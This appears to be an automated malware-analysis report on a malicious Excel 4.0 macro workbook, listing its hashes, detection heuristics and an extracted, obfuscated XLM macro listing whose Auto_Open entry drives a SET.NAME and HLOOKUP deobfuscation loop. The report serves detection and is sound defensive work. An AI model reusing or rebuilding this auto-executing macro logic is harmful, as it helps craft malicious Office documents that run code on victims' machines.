Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6574e4ae928ee064…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:13 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 22de84fed159e6e91af7a9780f621573 SHA-1: 989d8fda0fb95d2b97f69ba0f26c03b07a070f7a SHA-256: 6574e4ae928ee06469b1b0b2ff594b533d5f3fe38ee827b9da086e414c99b9e9
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6648 bytes
SHA-256: bce8872867836a8be0dde06e86804485a42f6ea5773b24360fda5d0d2f600642
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  BnolOyg
' 0018     27 LABEL : Cell Value, String Constant - aMHbCqGQqvec len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B141 
' 0018     22 LABEL : Cell Value, String Constant - bDmZTfP len=0 
' 0018     27 LABEL : Cell Value, String Constant - bYEWvRXTwCPY len=0 
' 0018     22 LABEL : Cell Value, String Constant - cAlxdsy len=0 
' 0018     25 LABEL : Cell Value, String Constant - CgGhkQaxpc len=0 
' 0018     23 LABEL : Cell Value, String Constant - dxNvtevu len=0 
' 0018     20 LABEL : Cell Value, String Constant - FFJlH len=0 
' 0018     25 LABEL : Cell Value, String Constant - FMvdXvynAi len=0 
' 0018     20 LABEL : Cell Value, String Constant - hLKij len=0 
' 0018     21 LABEL : Cell Value, String Constant - KajaAk len=0 
' 0018     22 LABEL : Cell Value, String Constant - kTyIIaB len=0 
' 0018     21 LABEL : Cell Value, String Constant - lKmZQc len=0 
' 0018     20 LABEL : Cell Value, String Constant - MYrBQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - nbAbG len=0 
' 0018     23 LABEL : Cell Value, String Constant - nfHYUUZL len=0 
' 0018     21 LABEL : Cell Value, String Constant - oSmwHL len=0 
' 0018     21 LABEL : Cell Value, String Constant - trbqkc len=0 
' 0018     21 LABEL : Cell Value, String Constant - yJDHoY len=0 
' 0018     21 LABEL : Cell Value, String Constant - zcBlkJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZLobOPBTIBpA len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  BnolOyg,B56,"SET.NAME("KajaAk",0+VALUE("0"))",""
'  BnolOyg,B58,"SET.NAME("nbAbG",KajaAk)",""
'  BnolOyg,B62,"SET.NAME("aMHbCqGQqvec",KajaAk)",""
'  BnolOyg,B64,"SET.NAME("bYEWvRXTwCPY",COUNTA(nfHYUUZL))",""
'  BnolOyg,Q67,"",-873.00000000000000000000
'  BnolOyg,B68,"SET.NAME("trbqkc",COUNTA(CgGhkQaxpc))",""
'  BnolOyg,Q68,"",132.00000000000000000000
'  BnolOyg,Q69,"",255.00000000000000000000
'  BnolOyg,Q70,"",932.00000000000000000000
'  BnolOyg,B71,[],""
'  BnolOyg,Q71,"",-824.00000000000000000000
'  BnolOyg,Q72,"",-34.00000000000000000000
'  BnolOyg,B74,"SET.NAME("lKmZQc","")",""
'  BnolOyg,B78,"nbAbG",""
'  BnolOyg,B81,"SET.NAME("MYrBQ",HLOOKUP("*",nfHYUUZL,nbAbG,FALSE))",""
'  BnolOyg,B84,"cAlxdsy",""
'  BnolOyg,B87,"SET.NAME("yJDHoY",KajaAk)",""
'  BnolOyg,B92,[],""
'  BnolOyg,B96,"yJDHoY",""
'  BnolOyg,B100,"oSmwHL",""
'  BnolOyg,B105,"ZLobOPBTIBpA",""
'  BnolOyg,B109,"zcBlkJ",""
'  BnolOyg,B113,"SET.NAME("hLKij",VALUE(HLOOKUP("*",CgGhkQaxpc,zcBlkJ,FALSE)))",""
'  BnolOyg,B116,"FFJlH",""
'  BnolOyg,B119,"lKmZQc",""
'  BnolOyg,B123,"aMHbCqGQqvec",""
'  BnolOyg,B125,NEXT(),""
'  BnolOyg,B129,"kTyIIaB",""
'  BnolOyg,B132,[],""
'  BnolOyg,B134,"FMvdXvynAi",""
'  BnolOyg,B136,NEXT(),""
'  BnolOyg,B138,RETURN(),""
'  BnolOyg,B169,"SET.NAME("dxNvtevu",B56)",""
'  BnolOyg,B172,"nfHYUUZL",""
'  BnolOyg,B174,"SET.NAME("CgGhkQaxpc",R49C14)",""
'  BnolOyg,B176,"SET.NAME("FMvdXvynAi",184)",""
'  BnolOyg,B178,"SET.NAME("bDmZTfP",2)",""
'  BnolOyg,B183,dxNvtevu(),""
'  BnolOyg,B184,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.